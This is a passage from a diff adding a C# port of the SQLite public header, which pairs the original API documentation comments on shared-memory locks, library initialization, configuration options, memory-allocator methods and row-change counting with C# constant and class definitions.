+ ** + ** When unlocking, the same SHARED or EXCLUSIVE flag must be supplied as + ** was given no the corresponding lock. + ** + ** The xShmLock method can transition between unlocked and SHARED or + ** between unlocked and EXCLUSIVE. It cannot transition between SHARED + ** and EXCLUSIVE. + */ + //#define SQLITE_SHM_UNLOCK 1 + //#define SQLITE_SHM_LOCK 2 + //#define SQLITE_SHM_SHARED 4 + //#define SQLITE_SHM_EXCLUSIVE 8 + const int SQLITE_SHM_UNLOCK = 1; + const int SQLITE_SHM_LOCK = 2; + const int SQLITE_SHM_SHARED = 4; + const int SQLITE_SHM_EXCLUSIVE = 8; + + + /* + ** CAPI3REF: Maximum xShmLock index + ** + ** The xShmLock method on [sqlite3_io_methods] may use values + ** between 0 and this upper bound as its "offset" argument. + ** The SQLite core will never attempt to acquire or release a + ** lock outside of this range + */ + //#define SQLITE_SHM_NLOCK 8 + const int SQLITE_SHM_NLOCK = 8; + + /* + ** CAPI3REF: Initialize The SQLite Library + ** + ** ^The sqlite3_initialize() routine initializes the + ** SQLite library. ^The sqlite3_shutdown() routine + ** deallocates any resources that were allocated by sqlite3_initialize(). + ** These routines are designed to aid in process initialization and + ** shutdown on embedded systems. Workstation applications using + ** SQLite normally do not need to invoke either of these routines. + ** + ** A call to sqlite3_initialize() is an "effective" call if it is + ** the first time sqlite3_initialize() is invoked during the lifetime of + ** the process, or if it is the first time sqlite3_initialize() is invoked + ** following a call to sqlite3_shutdown(). ^(Only an effective call + ** of sqlite3_initialize() does any initialization. All other calls + ** are harmless no-ops.)^ + ** + ** A call to sqlite3_shutdown() is an "effective" call if it is the first + ** call to sqlite3_shutdown() since the last sqlite3_initialize(). ^(Only + ** an effective call to sqlite3_shutdown() does any deinitialization. + ** All other valid calls to sqlite3_shutdown() are harmless no-ops.)^ + ** + ** The sqlite3_initialize() interface is threadsafe, but sqlite3_shutdown() + ** is not. The sqlite3_shutdown() interface must only be called from a + ** single thread. All open [database connections] must be closed and all + ** other SQLite resources must be deallocated prior to invoking + ** sqlite3_shutdown(). + ** + ** Among other things, ^sqlite3_initialize() will invoke + ** sqlite3_os_init(). Similarly, ^sqlite3_shutdown() + ** will invoke sqlite3_os_end(). + ** + ** ^The sqlite3_initialize() routine returns [SQLITE_OK] on success. + ** ^If for some reason, sqlite3_initialize() is unable to initialize + ** the library (perhaps it is unable to allocate a needed resource such + ** as a mutex) it returns an [error code] other than [SQLITE_OK]. + ** + ** ^The sqlite3_initialize() routine is called internally by many other + ** SQLite interfaces so that an application usually does not need to + ** invoke sqlite3_initialize() directly. For example, [sqlite3_open()] + ** calls sqlite3_initialize() so the SQLite library will be automatically + ** initialized when [sqlite3_open()] is called if it has not be initialized + ** already. ^However, if SQLite is compiled with the [SQLITE_OMIT_AUTOINIT] + ** compile-time option, then the automatic calls to sqlite3_initialize() + ** are omitted and the application must call sqlite3_initialize() directly + ** prior to using any other SQLite interface. For maximum portability, + ** it is recommended that applications always invoke sqlite3_initialize() + ** directly prior to using any other SQLite interface. Future releases + ** of SQLite may require this. In other words, the behavior exhibited + ** when SQLite is compiled with [SQLITE_OMIT_AUTOINIT] might become the + ** default behavior in some future release of SQLite. + ** + ** The sqlite3_os_init() routine does operating-system specific + ** initialization of the SQLite library. The sqlite3_os_end() + ** routine undoes the effect of sqlite3_os_init(). Typical tasks + ** performed by these routines include allocation or deallocation + ** of static resources, initialization of global variables, + ** setting up a default [sqlite3_vfs] module, or setting up + ** a default configuration using [sqlite3_config()]. + ** + ** The application should never invoke either sqlite3_os_init() + ** or sqlite3_os_end() directly. The application should only invoke + ** sqlite3_initialize() and sqlite3_shutdown(). The sqlite3_os_init() + ** interface is called automatically by sqlite3_initialize() and + ** sqlite3_os_end() is called by sqlite3_shutdown(). Appropriate + ** implementations for sqlite3_os_init() and sqlite3_os_end() + ** are built into SQLite when it is compiled for Unix, Windows, or OS/2. + ** When [custom builds | built for other platforms] + ** (using the [SQLITE_OS_OTHER=1] compile-time + ** option) the application must supply a suitable implementation for + ** sqlite3_os_init() and sqlite3_os_end(). An application-supplied + ** implementation of sqlite3_os_init() or sqlite3_os_end() + ** must return [SQLITE_OK] on success and some other [error code] upon + ** failure. + */ + //SQLITE_API int sqlite3_initialize(void); + //SQLITE_API int sqlite3_shutdown(void); + //SQLITE_API int sqlite3_os_init(void); + //SQLITE_API int sqlite3_os_end(void); + + /* + ** CAPI3REF: Configuring The SQLite Library + ** + ** The sqlite3_config() interface is used to make global configuration + ** changes to SQLite in order to tune SQLite to the specific needs of + ** the application. The default configuration is recommended for most + ** applications and so this routine is usually not necessary. It is + ** provided to support rare applications with unusual needs. + ** + ** The sqlite3_config() interface is not threadsafe. The application + ** must insure that no other SQLite interfaces are invoked by other + ** threads while sqlite3_config() is running. Furthermore, sqlite3_config() + ** may only be invoked prior to library initialization using + ** [sqlite3_initialize()] or after shutdown by [sqlite3_shutdown()]. + ** ^If sqlite3_config() is called after [sqlite3_initialize()] and before + ** [sqlite3_shutdown()] then it will return SQLITE_MISUSE. + ** Note, however, that ^sqlite3_config() can be called as part of the + ** implementation of an application-defined [sqlite3_os_init()]. + ** + ** The first argument to sqlite3_config() is an integer + ** [configuration option] that determines + ** what property of SQLite is to be configured. Subsequent arguments + ** vary depending on the [configuration option] + ** in the first argument. + ** + ** ^When a configuration option is set, sqlite3_config() returns [SQLITE_OK]. + ** ^If the option is unknown or SQLite is unable to set the option + ** then this routine returns a non-zero [error code]. + */ + //SQLITE_API int sqlite3_config(int, ...); + + /* + ** CAPI3REF: Configure database connections + ** + ** The sqlite3_db_config() interface is used to make configuration + ** changes to a [database connection]. The interface is similar to + ** [sqlite3_config()] except that the changes apply to a single + ** [database connection] (specified in the first argument). + ** + ** The second argument to sqlite3_db_config(D,V,...) is the + ** [SQLITE_DBCONFIG_LOOKASIDE | configuration verb] - an integer code + ** that indicates what aspect of the [database connection] is being configured. + ** Subsequent arguments vary depending on the configuration verb. + ** + ** ^Calls to sqlite3_db_config() return SQLITE_OK if and only if + ** the call is considered successful. + */ + //SQLITE_API int sqlite3_db_config(sqlite3*, int op, ...); + + /* + ** CAPI3REF: Memory Allocation Routines + ** + ** An instance of this object defines the interface between SQLite + ** and low-level memory allocation routines. + ** + ** This object is used in only one place in the SQLite interface. + ** A pointer to an instance of this object is the argument to + ** [sqlite3_config()] when the configuration option is + ** [SQLITE_CONFIG_MALLOC] or [SQLITE_CONFIG_GETMALLOC]. + ** By creating an instance of this object + ** and passing it to [sqlite3_config]([SQLITE_CONFIG_MALLOC]) + ** during configuration, an application can specify an alternative + ** memory allocation subsystem for SQLite to use for all of its + ** dynamic memory needs. + ** + ** Note that SQLite comes with several [built-in memory allocators] + ** that are perfectly adequate for the overwhelming majority of applications + ** and that this object is only useful to a tiny minority of applications + ** with specialized memory allocation requirements. This object is + ** also used during testing of SQLite in order to specify an alternative + ** memory allocator that simulates memory out-of-memory conditions in + ** order to verify that SQLite recovers gracefully from such + ** conditions. + ** + ** The xMalloc and xFree methods must work like the + ** malloc() and free() functions from the standard C library. + ** The xRealloc method must work like realloc() from the standard C library + ** with the exception that if the second argument to xRealloc is zero, + ** xRealloc must be a no-op - it must not perform any allocation or + ** deallocation. ^SQLite guarantees that the second argument to + ** xRealloc is always a value returned by a prior call to xRoundup. + ** And so in cases where xRoundup always returns a positive number, + ** xRealloc can perform exactly as the standard library realloc() and + ** still be in compliance with this specification. + ** + ** xSize should return the allocated size of a memory allocation + ** previously obtained from xMalloc or xRealloc. The allocated size + ** is always at least as big as the requested size but may be larger. + ** + ** The xRoundup method returns what would be the allocated size of + ** a memory allocation given a particular requested size. Most memory + ** allocators round up memory allocations at least to the next multiple + ** of 8. Some allocators round up to a larger multiple or to a power of 2. + ** Every memory allocation request coming in through [sqlite3_malloc()] + ** or [sqlite3_realloc()] first calls xRoundup. If xRoundup returns 0, + ** that causes the corresponding memory allocation to fail. + ** + ** The xInit method initializes the memory allocator. (For example, + ** it might allocate any require mutexes or initialize internal data + ** structures. The xShutdown method is invoked (indirectly) by + ** [sqlite3_shutdown()] and should deallocate any resources acquired + ** by xInit. The pAppData pointer is used as the only parameter to + ** xInit and xShutdown. + ** + ** SQLite holds the [SQLITE_MUTEX_STATIC_MASTER] mutex when it invokes + ** the xInit method, so the xInit method need not be threadsafe. The + ** xShutdown method is only called from [sqlite3_shutdown()] so it does + ** not need to be threadsafe either. For all other methods, SQLite + ** holds the [SQLITE_MUTEX_STATIC_MEM] mutex as long as the + ** [SQLITE_CONFIG_MEMSTATUS] configuration option is turned on (which + ** it is by default) and so the methods are automatically serialized. + ** However, if [SQLITE_CONFIG_MEMSTATUS] is disabled, then the other + ** methods must be threadsafe or else make their own arrangements for + ** serialization. + ** + ** SQLite will never invoke xInit() more than once without an intervening + ** call to xShutdown(). + */ + //typedef struct sqlite3_mem_methods sqlite3_mem_methods; + //struct sqlite3_mem_methods { + // void *(*xMalloc)(int); /* Memory allocation function */ + // void (*xFree)(void); /* Free a prior allocation */ + // void *(*xRealloc)(void*,int); /* Resize an allocation */ + // int (*xSize)(void); /* Return the size of an allocation */ + // int (*xRoundup)(int); /* Round up request size to allocation size */ + // int (*xInit)(void); /* Initialize the memory allocator */ + // void (*xShutdown)(void); /* Deinitialize the memory allocator */ + // void *pAppData; /* Argument to xInit() and xShutdown() */ + //}; + public class sqlite3_mem_methods + { + public dxMalloc xMalloc; //void *(*xMalloc)(int); /* Memory allocation function */ + public dxMallocInt xMallocInt; //void *(*xMalloc)(int); /* Memory allocation function */ + public dxMallocMem xMallocMem; //void *(*xMalloc)(int); /* Memory allocation function */ + public dxFree xFree; //void (*xFree)(void); /* Free a prior allocation */ + public dxFreeInt xFreeInt; //void (*xFree)(void); /* Free a prior allocation */ + public dxFreeMem xFreeMem; //void (*xFree)(void); /* Free a prior allocation */ + public dxRealloc xRealloc; //void *(*xRealloc)(void*,int); /* Resize an allocation */ + public dxSize xSize; //int (*xSize)(void); /* Return the size of an allocation */ + public dxRoundup xRoundup; //int (*xRoundup)(int); /* Round up request size to allocation size */ + public dxMemInit xInit; //int (*xInit)(void); /* Initialize the memory allocator */ + public dxMemShutdown xShutdown; //void (*xShutdown)(void); /* Deinitialize the memory allocator */ + public object pAppData; /* Argument to xInit() and xShutdown() */ + + public sqlite3_mem_methods() + { + } + + public sqlite3_mem_methods( + dxMalloc xMalloc, + dxMallocInt xMallocInt, + dxMallocMem xMallocMem, + dxFree xFree, + dxFreeInt xFreeInt, + dxFreeMem xFreeMem, + dxRealloc xRealloc, + dxSize xSize, + dxRoundup xRoundup, + dxMemInit xInit, + dxMemShutdown xShutdown, + object pAppData + ) + { + this.xMalloc = xMalloc; + this.xMallocInt = xMallocInt; + this.xMallocMem = xMallocMem; + this.xFree = xFree; + this.xFreeInt = xFreeInt; + this.xFreeMem = xFreeMem; + this.xRealloc = xRealloc; + this.xSize = xSize; + this.xRoundup = xRoundup; + this.xInit = xInit; + this.xShutdown = xShutdown; + this.pAppData = pAppData; + } + } + + + /* + ** CAPI3REF: Configuration Options + ** KEYWORDS: {configuration option} + ** + ** These constants are the available integer configuration options that + ** can be passed as the first argument to the [sqlite3_config()] interface. + ** + ** New configuration options may be added in future releases of SQLite. + ** Existing configuration options might be discontinued. Applications + ** should check the return code from [sqlite3_config()] to make sure that + ** the call worked. The [sqlite3_config()] interface will return a + ** non-zero [error code] if a discontinued or unsupported configuration option + ** is invoked. + ** + **
+ ** [[SQLITE_CONFIG_SINGLETHREAD]]
SQLITE_CONFIG_SINGLETHREAD
+ **
There are no arguments to this option. ^This option sets the + ** [threading mode] to Single-thread. In other words, it disables + ** all mutexing and puts SQLite into a mode where it can only be used + ** by a single thread. ^If SQLite is compiled with + ** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then + ** it is not possible to change the [threading mode] from its default + ** value of Single-thread and so [sqlite3_config()] will return + ** [SQLITE_ERROR] if called with the SQLITE_CONFIG_SINGLETHREAD + ** configuration option.
+ ** + ** [[SQLITE_CONFIG_MULTITHREAD]]
SQLITE_CONFIG_MULTITHREAD
+ **
There are no arguments to this option. ^This option sets the + ** [threading mode] to Multi-thread. In other words, it disables + ** mutexing on [database connection] and [prepared statement] objects. + ** The application is responsible for serializing access to + ** [database connections] and [prepared statements]. But other mutexes + ** are enabled so that SQLite will be safe to use in a multi-threaded + ** environment as long as no two threads attempt to use the same + ** [database connection] at the same time. ^If SQLite is compiled with + ** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then + ** it is not possible to set the Multi-thread [threading mode] and + ** [sqlite3_config()] will return [SQLITE_ERROR] if called with the + ** SQLITE_CONFIG_MULTITHREAD configuration option.
+ ** + ** [[SQLITE_CONFIG_SERIALIZED]]
SQLITE_CONFIG_SERIALIZED
+ **
There are no arguments to this option. ^This option sets the + ** [threading mode] to Serialized. In other words, this option enables + ** all mutexes including the recursive + ** mutexes on [database connection] and [prepared statement] objects. + ** In this mode (which is the default when SQLite is compiled with + ** [SQLITE_THREADSAFE=1]) the SQLite library will itself serialize access + ** to [database connections] and [prepared statements] so that the + ** application is free to use the same [database connection] or the + ** same [prepared statement] in different threads at the same time. + ** ^If SQLite is compiled with + ** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then + ** it is not possible to set the Serialized [threading mode] and + ** [sqlite3_config()] will return [SQLITE_ERROR] if called with the + ** SQLITE_CONFIG_SERIALIZED configuration option.
+ ** + ** [[SQLITE_CONFIG_MALLOC]]
SQLITE_CONFIG_MALLOC
+ **
^(This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mem_methods] structure. The argument specifies + ** alternative low-level memory allocation routines to be used in place of + ** the memory allocation routines built into SQLite.)^ ^SQLite makes + ** its own private copy of the content of the [sqlite3_mem_methods] structure + ** before the [sqlite3_config()] call returns.
+ ** + ** [[SQLITE_CONFIG_GETMALLOC]]
SQLITE_CONFIG_GETMALLOC
+ **
^(This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mem_methods] structure. The [sqlite3_mem_methods] + ** structure is filled with the currently defined memory allocation routines.)^ + ** This option can be used to overload the default memory allocation + ** routines with a wrapper that simulations memory allocation failure or + ** tracks memory usage, for example.
+ ** + ** [[SQLITE_CONFIG_MEMSTATUS]]
SQLITE_CONFIG_MEMSTATUS
+ **
^This option takes single argument of type int, interpreted as a + ** boolean, which enables or disables the collection of memory allocation + ** statistics. ^(When memory allocation statistics are disabled, the + ** following SQLite interfaces become non-operational: + **
    + **
  • [sqlite3_memory_used()] + **
  • [sqlite3_memory_highwater()] + **
  • [sqlite3_soft_heap_limit64()] + **
  • [sqlite3_status()] + **
)^ + ** ^Memory allocation statistics are enabled by default unless SQLite is + ** compiled with [SQLITE_DEFAULT_MEMSTATUS]=0 in which case memory + ** allocation statistics are disabled by default. + **
+ ** + ** [[SQLITE_CONFIG_SCRATCH]]
SQLITE_CONFIG_SCRATCH
+ **
^This option specifies a static memory buffer that SQLite can use for + ** scratch memory. There are three arguments: A pointer an 8-byte + ** aligned memory buffer from which the scratch allocations will be + ** drawn, the size of each scratch allocation (sz), + ** and the maximum number of scratch allocations (N). The sz + ** argument must be a multiple of 16. + ** The first argument must be a pointer to an 8-byte aligned buffer + ** of at least sz*N bytes of memory. + ** ^SQLite will use no more than two scratch buffers per thread. So + ** N should be set to twice the expected maximum number of threads. + ** ^SQLite will never require a scratch buffer that is more than 6 + ** times the database page size. ^If SQLite needs needs additional + ** scratch memory beyond what is provided by this configuration option, then + ** [sqlite3_malloc()] will be used to obtain the memory needed.
+ ** + ** [[SQLITE_CONFIG_PAGECACHE]]
SQLITE_CONFIG_PAGECACHE
+ **
^This option specifies a static memory buffer that SQLite can use for + ** the database page cache with the default page cache implementation. + ** This configuration should not be used if an application-define page + ** cache implementation is loaded using the SQLITE_CONFIG_PCACHE option. + ** There are three arguments to this option: A pointer to 8-byte aligned + ** memory, the size of each page buffer (sz), and the number of pages (N). + ** The sz argument should be the size of the largest database page + ** (a power of two between 512 and 32768) plus a little extra for each + ** page header. ^The page header size is 20 to 40 bytes depending on + ** the host architecture. ^It is harmless, apart from the wasted memory, + ** to make sz a little too large. The first + ** argument should point to an allocation of at least sz*N bytes of memory. + ** ^SQLite will use the memory provided by the first argument to satisfy its + ** memory needs for the first N pages that it adds to cache. ^If additional + ** page cache memory is needed beyond what is provided by this option, then + ** SQLite goes to [sqlite3_malloc()] for the additional storage space. + ** The pointer in the first argument must + ** be aligned to an 8-byte boundary or subsequent behavior of SQLite + ** will be undefined.
+ ** + ** [[SQLITE_CONFIG_HEAP]]
SQLITE_CONFIG_HEAP
+ **
^This option specifies a static memory buffer that SQLite will use + ** for all of its dynamic memory allocation needs beyond those provided + ** for by [SQLITE_CONFIG_SCRATCH] and [SQLITE_CONFIG_PAGECACHE]. + ** There are three arguments: An 8-byte aligned pointer to the memory, + ** the number of bytes in the memory buffer, and the minimum allocation size. + ** ^If the first pointer (the memory pointer) is NULL, then SQLite reverts + ** to using its default memory allocator (the system malloc() implementation), + ** undoing any prior invocation of [SQLITE_CONFIG_MALLOC]. ^If the + ** memory pointer is not NULL and either [SQLITE_ENABLE_MEMSYS3] or + ** [SQLITE_ENABLE_MEMSYS5] are defined, then the alternative memory + ** allocator is engaged to handle all of SQLites memory allocation needs. + ** The first pointer (the memory pointer) must be aligned to an 8-byte + ** boundary or subsequent behavior of SQLite will be undefined. + ** The minimum allocation size is capped at 2^12. Reasonable values + ** for the minimum allocation size are 2^5 through 2^8.
+ ** + ** [[SQLITE_CONFIG_MUTEX]]
SQLITE_CONFIG_MUTEX
+ **
^(This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mutex_methods] structure. The argument specifies + ** alternative low-level mutex routines to be used in place + ** the mutex routines built into SQLite.)^ ^SQLite makes a copy of the + ** content of the [sqlite3_mutex_methods] structure before the call to + ** [sqlite3_config()] returns. ^If SQLite is compiled with + ** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then + ** the entire mutexing subsystem is omitted from the build and hence calls to + ** [sqlite3_config()] with the SQLITE_CONFIG_MUTEX configuration option will + ** return [SQLITE_ERROR].
+ ** + ** [[SQLITE_CONFIG_GETMUTEX]]
SQLITE_CONFIG_GETMUTEX
+ **
^(This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mutex_methods] structure. The + ** [sqlite3_mutex_methods] + ** structure is filled with the currently defined mutex routines.)^ + ** This option can be used to overload the default mutex allocation + ** routines with a wrapper used to track mutex usage for performance + ** profiling or testing, for example. ^If SQLite is compiled with + ** the [SQLITE_THREADSAFE | SQLITE_THREADSAFE=0] compile-time option then + ** the entire mutexing subsystem is omitted from the build and hence calls to + ** [sqlite3_config()] with the SQLITE_CONFIG_GETMUTEX configuration option will + ** return [SQLITE_ERROR].
+ ** + ** [[SQLITE_CONFIG_LOOKASIDE]]
SQLITE_CONFIG_LOOKASIDE
+ **
^(This option takes two arguments that determine the default + ** memory allocation for the lookaside memory allocator on each + ** [database connection]. The first argument is the + ** size of each lookaside buffer slot and the second is the number of + ** slots allocated to each database connection.)^ ^(This option sets the + ** default lookaside size. The [SQLITE_DBCONFIG_LOOKASIDE] + ** verb to [sqlite3_db_config()] can be used to change the lookaside + ** configuration on individual connections.)^
+ ** + ** [[SQLITE_CONFIG_PCACHE]]
SQLITE_CONFIG_PCACHE
+ **
^(This option takes a single argument which is a pointer to + ** an [sqlite3_pcache_methods] object. This object specifies the interface + ** to a custom page cache implementation.)^ ^SQLite makes a copy of the + ** object and uses it for page cache memory allocations.
+ ** + ** [[SQLITE_CONFIG_GETPCACHE]]
SQLITE_CONFIG_GETPCACHE
+ **
^(This option takes a single argument which is a pointer to an + ** [sqlite3_pcache_methods] object. SQLite copies of the current + ** page cache implementation into that object.)^
+ ** + ** [[SQLITE_CONFIG_LOG]]
SQLITE_CONFIG_LOG
+ **
^The SQLITE_CONFIG_LOG option takes two arguments: a pointer to a + ** function with a call signature of void()(void*,int,const char), + ** and a pointer to void. ^If the function pointer is not NULL, it is + ** invoked by [sqlite3_log()] to process each logging event. ^If the + ** function pointer is NULL, the [sqlite3_log()] interface becomes a no-op. + ** ^The void pointer that is the second argument to SQLITE_CONFIG_LOG is + ** passed through as the first parameter to the application-defined logger + ** function whenever that function is invoked. ^The second parameter to + ** the logger function is a copy of the first parameter to the corresponding + ** [sqlite3_log()] call and is intended to be a [result code] or an + ** [extended result code]. ^The third parameter passed to the logger is + ** log message after formatting via [sqlite3_snprintf()]. + ** The SQLite logging interface is not reentrant; the logger function + ** supplied by the application must not invoke any SQLite interface. + ** In a multi-threaded application, the application-defined logger + ** function must be threadsafe.
+ ** + ** [[SQLITE_CONFIG_URI]]
SQLITE_CONFIG_URI + **
This option takes a single argument of type int. If non-zero, then + ** URI handling is globally enabled. If the parameter is zero, then URI handling + ** is globally disabled. If URI handling is globally enabled, all filenames + ** passed to [sqlite3_open()], [sqlite3_open_v2()], [sqlite3_open16()] or + ** specified as part of [ATTACH] commands are interpreted as URIs, regardless + ** of whether or not the [SQLITE_OPEN_URI] flag is set when the database + ** connection is opened. If it is globally disabled, filenames are + ** only interpreted as URIs if the SQLITE_OPEN_URI flag is set when the + ** database connection is opened. By default, URI handling is globally + ** disabled. The default value may be changed by compiling with the + ** [SQLITE_USE_URI] symbol defined. + **
+ */ + //#define SQLITE_CONFIG_SINGLETHREAD 1 /* nil */ + //#define SQLITE_CONFIG_MULTITHREAD 2 /* nil */ + //#define SQLITE_CONFIG_SERIALIZED 3 /* nil */ + //#define SQLITE_CONFIG_MALLOC 4 /* sqlite3_mem_methods* */ + //#define SQLITE_CONFIG_GETMALLOC 5 /* sqlite3_mem_methods* */ + //#define SQLITE_CONFIG_SCRATCH 6 /* void*, int sz, int N */ + //#define SQLITE_CONFIG_PAGECACHE 7 /* void*, int sz, int N */ + //#define SQLITE_CONFIG_HEAP 8 /* void*, int nByte, int min */ + //#define SQLITE_CONFIG_MEMSTATUS 9 /* boolean */ + //#define SQLITE_CONFIG_MUTEX 10 /* sqlite3_mutex_methods* */ + //#define SQLITE_CONFIG_GETMUTEX 11 /* sqlite3_mutex_methods* */ + ///* previously SQLITE_CONFIG_CHUNKALLOC 12 which is now unused. */ + //#define SQLITE_CONFIG_LOOKASIDE 13 /* int int */ + //#define SQLITE_CONFIG_PCACHE 14 /* sqlite3_pcache_methods* */ + //#define SQLITE_CONFIG_GETPCACHE 15 /* sqlite3_pcache_methods* */ + //#define SQLITE_CONFIG_LOG 16 /* xFunc, void* */ + //#define SQLITE_CONFIG_URI 17 /* int */ + const int SQLITE_CONFIG_SINGLETHREAD = 1; + const int SQLITE_CONFIG_MULTITHREAD = 2; + const int SQLITE_CONFIG_SERIALIZED = 3; + const int SQLITE_CONFIG_MALLOC = 4; + const int SQLITE_CONFIG_GETMALLOC = 5; + const int SQLITE_CONFIG_SCRATCH = 6; + const int SQLITE_CONFIG_PAGECACHE = 7; + const int SQLITE_CONFIG_HEAP = 8; + const int SQLITE_CONFIG_MEMSTATUS = 9; + const int SQLITE_CONFIG_MUTEX = 10; + const int SQLITE_CONFIG_GETMUTEX = 11; + const int SQLITE_CONFIG_LOOKASIDE = 13; + const int SQLITE_CONFIG_PCACHE = 14; + const int SQLITE_CONFIG_GETPCACHE = 15; + const int SQLITE_CONFIG_LOG = 16; + const int SQLITE_CONFIG_URI = 17; + + /* + ** CAPI3REF: Database Connection Configuration Options + ** + ** These constants are the available integer configuration options that + ** can be passed as the second argument to the [sqlite3_db_config()] interface. + ** + ** New configuration options may be added in future releases of SQLite. + ** Existing configuration options might be discontinued. Applications + ** should check the return code from [sqlite3_db_config()] to make sure that + ** the call worked. ^The [sqlite3_db_config()] interface will return a + ** non-zero [error code] if a discontinued or unsupported configuration option + ** is invoked. + ** + **
+ **
SQLITE_DBCONFIG_LOOKASIDE
+ **
^This option takes three additional arguments that determine the + ** [lookaside memory allocator] configuration for the [database connection]. + ** ^The first argument (the third parameter to [sqlite3_db_config()] is a + ** pointer to a memory buffer to use for lookaside memory. + ** ^The first argument after the SQLITE_DBCONFIG_LOOKASIDE verb + ** may be NULL in which case SQLite will allocate the + ** lookaside buffer itself using [sqlite3_malloc()]. ^The second argument is the + ** size of each lookaside buffer slot. ^The third argument is the number of + ** slots. The size of the buffer in the first argument must be greater than + ** or equal to the product of the second and third arguments. The buffer + ** must be aligned to an 8-byte boundary. ^If the second argument to + ** SQLITE_DBCONFIG_LOOKASIDE is not a multiple of 8, it is internally + ** rounded down to the next smaller multiple of 8. ^(The lookaside memory + ** configuration for a database connection can only be changed when that + ** connection is not currently using lookaside memory, or in other words + ** when the "current value" returned by + ** [sqlite3_db_status](D,[SQLITE_CONFIG_LOOKASIDE],...) is zero. + ** Any attempt to change the lookaside memory configuration when lookaside + ** memory is in use leaves the configuration unchanged and returns + ** [SQLITE_BUSY].)^
+ ** + **
SQLITE_DBCONFIG_ENABLE_FKEY
+ **
^This option is used to enable or disable the enforcement of + ** [foreign key constraints]. There should be two additional arguments. + ** The first argument is an integer which is 0 to disable FK enforcement, + ** positive to enable FK enforcement or negative to leave FK enforcement + ** unchanged. The second parameter is a pointer to an integer into which + ** is written 0 or 1 to indicate whether FK enforcement is off or on + ** following this call. The second parameter may be a NULL pointer, in + ** which case the FK enforcement setting is not reported back.
+ ** + **
SQLITE_DBCONFIG_ENABLE_TRIGGER
+ **
^This option is used to enable or disable [CREATE TRIGGER | triggers]. + ** There should be two additional arguments. + ** The first argument is an integer which is 0 to disable triggers, + ** positive to enable triggers or negative to leave the setting unchanged. + ** The second parameter is a pointer to an integer into which + ** is written 0 or 1 to indicate whether triggers are disabled or enabled + ** following this call. The second parameter may be a NULL pointer, in + ** which case the trigger setting is not reported back.
+ ** + **
+ */ + //#define SQLITE_DBCONFIG_LOOKASIDE 1001 /* void* int int */ + //#define SQLITE_DBCONFIG_ENABLE_FKEY 1002 /* int int* */ + //#define SQLITE_DBCONFIG_ENABLE_TRIGGER 1003 /* int int* */ + const int SQLITE_DBCONFIG_LOOKASIDE = 1001; + const int SQLITE_DBCONFIG_ENABLE_FKEY = 1002; + const int SQLITE_DBCONFIG_ENABLE_TRIGGER = 1003; + + /* + ** CAPI3REF: Enable Or Disable Extended Result Codes + ** + ** ^The sqlite3_extended_result_codes() routine enables or disables the + ** [extended result codes] feature of SQLite. ^The extended result + ** codes are disabled by default for historical compatibility. + */ + //SQLITE_API int sqlite3_extended_result_codes(sqlite3*, int onoff); + + /* + ** CAPI3REF: Last Insert Rowid + ** + ** ^Each entry in an SQLite table has a unique 64-bit signed + ** integer key called the [ROWID | "rowid"]. ^The rowid is always available + ** as an undeclared column named ROWID, OID, or _ROWID_ as long as those + ** names are not also used by explicitly declared columns. ^If + ** the table has a column of type [INTEGER PRIMARY KEY] then that column + ** is another alias for the rowid. + ** + ** ^This routine returns the [rowid] of the most recent + ** successful [INSERT] into the database from the [database connection] + ** in the first argument. ^As of SQLite version 3.7.7, this routines + ** records the last insert rowid of both ordinary tables and [virtual tables]. + ** ^If no successful [INSERT]s + ** have ever occurred on that database connection, zero is returned. + ** + ** ^(If an [INSERT] occurs within a trigger or within a [virtual table] + ** method, then this routine will return the [rowid] of the inserted + ** row as long as the trigger or virtual table method is running. + ** But once the trigger or virtual table method ends, the value returned + ** by this routine reverts to what it was before the trigger or virtual + ** table method began.)^ + ** + ** ^An [INSERT] that fails due to a constraint violation is not a + ** successful [INSERT] and does not change the value returned by this + ** routine. ^Thus INSERT OR FAIL, INSERT OR IGNORE, INSERT OR ROLLBACK, + ** and INSERT OR ABORT make no changes to the return value of this + ** routine when their insertion fails. ^(When INSERT OR REPLACE + ** encounters a constraint violation, it does not fail. The + ** INSERT continues to completion after deleting rows that caused + ** the constraint problem so INSERT OR REPLACE will always change + ** the return value of this interface.)^ + ** + ** ^For the purposes of this routine, an [INSERT] is considered to + ** be successful even if it is subsequently rolled back. + ** + ** This function is accessible to SQL statements via the + ** [last_insert_rowid() SQL function]. + ** + ** If a separate thread performs a new [INSERT] on the same + ** database connection while the [sqlite3_last_insert_rowid()] + ** function is running and thus changes the last insert [rowid], + ** then the value returned by [sqlite3_last_insert_rowid()] is + ** unpredictable and might not equal either the old or the new + ** last insert [rowid]. + */ + //SQLITE_API sqlite3_int64 sqlite3_last_insert_rowid(sqlite3); + + /* + ** CAPI3REF: Count The Number Of Rows Modified + ** + ** ^This function returns the number of database rows that were changed + ** or inserted or deleted by the most recently completed SQL statement + ** on the [database connection] specified by the first parameter. + ** ^(Only changes that are directly specified by the [INSERT], [UPDATE], + ** or [DELETE] statement are counted. Auxiliary changes caused by + ** triggers or [foreign key actions] are not counted.)^ Use the + ** [sqlite3_total_changes()] function to find the total number of changes + ** including changes caused by triggers and foreign key actions. + ** + ** ^Changes to a view that are simulated by an [INSTEAD OF trigger] + ** are not counted. Only real table changes are counted. + ** + ** ^(A "row change" is a change to a single row of a single table + ** caused by an INSERT, DELETE, or UPDATE statement. Rows that + ** are changed as side effects of [REPLACE] constraint resolution, + ** rollback, ABORT processing, [DROP TABLE], or by any other + ** mechanisms do not count as direct row changes.)^ + ** + ** A "trigger context" is a scope of execution that begins and + ** ends with the script of a [CREATE TRIGGER | trigger]. + ** Most SQL statements are + ** evaluated outside of any trigger. This is the "top level" + ** trigger context. If a trigger fires from the top level, a + ** new trigger context is entered for the duration of that one + ** trigger. Subtriggers create subcontexts for their duration. + ** + ** ^Calling [sqlite3_exec()] or [sqlite3_step()] recursively does + ** not create a new trigger context. + ** + ** ^This function returns the number of direct row changes in the + ** most recent INSERT, UPDATE, or DELETE statement within the same + ** trigger context. + ** + ** ^Thus, when called from the top level, this function returns the + ** number of changes in the most recent INSERT, UPDATE, or DELETE + ** that also occurred at the top level. ^(Within the body of a trigger, + 